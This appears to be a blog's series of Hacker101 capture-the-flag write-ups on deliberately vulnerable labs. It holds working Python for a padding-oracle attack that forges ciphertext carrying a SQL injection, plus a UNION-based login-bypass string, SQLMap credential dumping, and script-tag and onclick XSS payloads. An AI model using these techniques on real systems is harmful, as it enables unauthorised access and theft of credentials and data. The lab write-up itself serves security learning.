return [iv+bytes([change])+tail for change in range(0x00, 0xff+1)]#last is now we need to define the padding oracle.
def padding_oracle(real_iv, url, data):
index = 15
plains = bytes()
tail = bytes()
while index >= 0:
for iv in generate_iv_list(tail):
if test(url, encode(iv+data)):
plains = bytes([(16-index) ^ iv[index]]) + plains
index -= 1
tail = bytes([plain ^ (16-index) for plain in plains])
break
return bxor(real_iv, plains)now with some trial and error I came up with this.
post = ‘original encrypted dynmaic data’
data = decode(post)[16*(1+5):]
iv_6 = decode(post)[16*(1+4):16*(1+5)]
immediate = bxor(b’$FLAG$”, “id”: “‘, iv_6)
iv = bxor(immediate, b'{“id”:”1″, “i”:”‘)
print(encode(iv+data))This dumped data, encrypted but it was like in reverse and I took that and when used in the ?post= dropped flag 3 with another error.
- Flag 4
Now this one caught me with if they didn’t store data in an sql database doesn’t mean they don’t use SQL for defining data.
So we need to basically brute force attack the decryption using their stuff, using a SQL Injection. Here is what I wrote.
if __name__ == ‘__main__’:
url = ‘http://URL/Dynamic Folder/’
post = ‘Dynamic Encrypted Post’
ciphertext = decode(post)[16*6:16*7]
immediate = bxor(b’$FLAG$”, “id”: “‘, decode(post)[16*(1+4):16*(1+5)])plains = ‘{“id”:”0 UNION SELECT group_concat(headers), \’\’ from tracking”,”key”:”Dynamic Enc Key”}’
data = pad(plains.encode(‘utf-8’), 16)
block_amount = int(len(data) / 16)
index = block_amount
while True:
block = data[(index-1)*16: index*16]
print(‘meow:’)
print(block)
iv = bxor(immediate, block)
ciphertext = iv + ciphertext
index -= 1
if index > 0:
immediate = padding_oracle_decrypt(url, iv)
else:
break
print(encode(ciphertext))
This one threw me off because it dropped another key, this key dropped a new error that I didn’t pick up until I kept running it a few times (each time took over an hour)
but the error also http://127.0.0.1/url/?post=Another Encrypted Data Dynamic Key.
So I took that new encrypted data key and it dropped Flag 1 and a new flag 4.
Write up Hacker101- Micro-CMS v2
note: Keep in mind, I have had over 20+ years in cyber security, I started out as a blackhat in the golden age of insecure internet. I also ran Slackware Linux since 1998 as my main OS so this is a double challenge with Hacker101 and Doing it all from Slackware Linux (NO Kali Linux ewww.)

Lets turn up the heat,
You will need a few tools on this one, easiest if you are lazy like I am and don’t want to re-invent the wheel.
Tools I played around with at first is you will need to get the database information and to do that, you need data and alot of it…. this is 2020, not 1999 so I don’t need to setup squid or a proxy server to LOG everything I send in and out…. no way… I am running slackware and on a VM because I am streaming this live on twitch.tv. SO what distro people use these days? and I talk shit about? kali linux, I talk shit about it because how easy it is to make available for kids to get a hold of and do stuff with out learning why? but like all linux distros, you can get the source and compile it.
First tool I started with, is MITMProxy because they say this is a hard tool to use. But I beg to differ, this tool was 10x easier than setting up a squid proxy server and shift through logs and you can inject with out modding the proxy server. But this is console base, I can sit for days shifting through features as I am loving it.
I moved to Burp Suite because it’s the same damn tool just with more stuff but it’s all GUI base and…. icky java! ewww…. anyways I pick up on software easy super easy especially if it is GUI based, I am a hands on person. I do the same thing inject and we can also decode / encode and other features and such… only thing I really hate about this software is that this isn’t fully open source software and they charge money and stuff for other useless features well at least for me, I guess if your some kid who got their degreed in cyber security might need it for corporation standards I guess. Pretty much everything you can do in Free version of Burp you can also do in MITMProxy with mods.
SQLMap, now this console tool is fun to play with, it can dump tables, id’s, and the content displayed inside including decoding the basic encryption for password field but it is all just an automation for many different SQL Injection flaws out there.
Back to this CMS system, it’s a different setup but still same same.
- Flag 1 – We have a login for editing or creating a new page so this CMS security has stepped up a bit. Ok, lets see if this is as easy as it has been, lets use admin / admin as the user/pass, or root/root all showing unknown user. I accidently hit ‘ and hit enter when guessing common user and password combos but I got an error with this…
if cur.execute(‘SELECT password FROM admins WHERE username=\’%s\” % request.form[‘username’].replace(‘%’, ‘%%’)) == 0:
File “/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py”, line 255, in execute
self.errorhandler(self, exc, value)
File “/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py”, line 50, in defaulterrorhandler
raise errorvalue
ProgrammingError: (1064, “You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ”’ at line 1″)Now there is something they do use MySQL.. mm and I broke it on accident with ‘
I have been working in SCCM alot for the past few years so knowing sql commands is something,So, lets create a command because this error tells me that I can execute a sql command.
Username ” ‘ UNION SELECT ‘111’ AS password#
password “111”
and I am in! now click on a new link “private page” that page turns into your first flag.
- Flag 2 Now lets use a tool MITMProxy or Burp, what ever you want to see.
I started to stream this in the past week, where I played with both and got this flag.What I was doing was seeing if I could intercept the forms and change the response, I ended up editing a page and letting both Mitmproxy and burp was able to log the request, and resubmit the request turning a Get command to a Post and from there I got the second flag. This one was to show or demonstrate the interception with an MITM attack could do some stuff. - Flag 3 This one, got me a bit as I started to review both MITMProxy and Burp Suite to see what I could find if I could find something.
the hint I reviewed was “Credentials are secret, flags are secret. Coincidence?”
So, I digged more and more into the requests back and forth modify both in and out of the requests but only ended up with flag2… including different ways to inject ‘1=1# so at this point I needed a username and password. I loaded up SQLMap and let it dump the tables with the rows and I ended up dumping a whole username and passwords, and I used one of them that got me Flag number 3.
Write up Hacker101- Micro-CMS v1
note: Keep in mind, I have had over 20+ years in cyber security, I started out as a blackhat in the golden age of insecure internet. I also ran Slackware Linux since 1998 as my main OS so this is a double challenge with Hacker101 and Doing it all from Slackware Linux (NO Kali Linux ewww.)

Thoughts: Have you ever sat at a website and messed around with directories ? or custom switches? or even crawled a website like using wget -m and mirrored everything and seeing a alot of directories and it’s randomness and you stumble upon random stuff and some stuff you really wished you didn’t like porn, warez etc.. well I didn’t use wget per-se here but I did mess around with this, not everything is linked.
This is a micro cms, it’s a lightweight content management system, typically every newbie web developer who wants to make a cms system starts here.
Note: hey I helped developed one for my old ISP, Hey! this should be a walk in the park.
- Flag 1, lets find it.
– I started off by creating a new page, to learn the system, now edit that page, (Keep an eye on the ID’s given) lets view that page? lets change the id given (http://url/dynamic folder/page/Id) assuming you where assigned as like I was at ID 9, and change that to 8, lets walk it up from 8 to 1 and view all these pages.
Note: One of these will show an Forbidden permission page. Remember that ID, for me it was ID7.
Lets go back to your page, edit your page it should show: (http://url/dynamic folder/page/edit/9) now lets test that permissions of page 7? because remember this is a exploitation of security so lets break stuff shall we? it should show: (http://url/dynamic folder/page/edit/7)
Found the Flag!
- Flag 2
Lets add a character, this normally breaks stuff
View page 1 (http://url/dynamic folder/page/1)
add ‘ to the end of the 1 (http://url/dynamic folder/page/1’) now this should break the page.
Now edit page 1. : (http://url/dynamic folder/page/edit/1)
lets do it again add ‘ to the end of page 1.
(http://url/dynamic folder/page/edit/1’)
Instead of breaking, it dropped a flag!
- Flag 3
Ok, this is something I’ve heard about for a while cross site scripting.
-> Give a heads up check out this for more information. https://www.nuharborsecurity.com/alertxss-pwn3d-real-dangers-cross-site-scripting/
Edit page 1, add a script snippet, this needs to use the Alert – XSS cross site scripting or I call it the Alert X-Ass… (http://url/dynamic folder/page/edit/1)
add in the title and body <script> Alert ‘XSS'</script>
Now save it and hit “Go Back”
Should error out and give you Flag 3 as it did for me!
- Flag 4
This is similar with Flag 3 but this one needs a bit of creativity,
do you remember when I said find the id’s and count down, you seen that adorable kitty on page 2 just like I did? (http://url/dynamic folder/page/2)
Lets edit this one! since we have done ID7 and 1, 8, 4,3,5,6 are all dead and doesn’t exist.
(http://url/dynamic folder/page/edit/2)
Note: Being a web developer in the past, you know if you add things that could interfere such as adding another script call this one brought me back to the early days of geocities in the late 90’s as I wrote a page people went to that looped back this button.
Add in this command <button onclick=alert(1)> Kitty Button, CLICK ME!!!! </button>
Hit save and click the button and this alert should error out because you know bad java scripting. Now check your dev tools (hint: F12) back it these days Netscape was the only browser that had this feature. but back then it didn’t show a button flag, instead it used to display java script errors or break the whole site or depends on how you have coded your site, you could have looped that button click a lot of times instead. In the dev tools you will see the last flag^
Now we are getting nostalgic, this is how H101 got me hooked with this nostalgic
Write up Hacker101- A little something to get you started
note: Keep in mind, I have had over 20+ years in cyber security, I started out as a blackhat in the golden age of insecure internet. I also ran Slackware Linux since 1998 as my main OS so this is a double challenge with Hacker101 and Doing it all from Slackware Linux (NO Kali Linux ewww.)

1/1 Complete.
Note: Being in the web development for a good chunk of my life really shows here.
This one looks like a normal basic site, so this has to be easy, So I just view the source and what do I see? a background image file but it didn’t change the background. Hmm? lets open that file directly and take a peek.
And the image displays the ^flag^xxxxxx..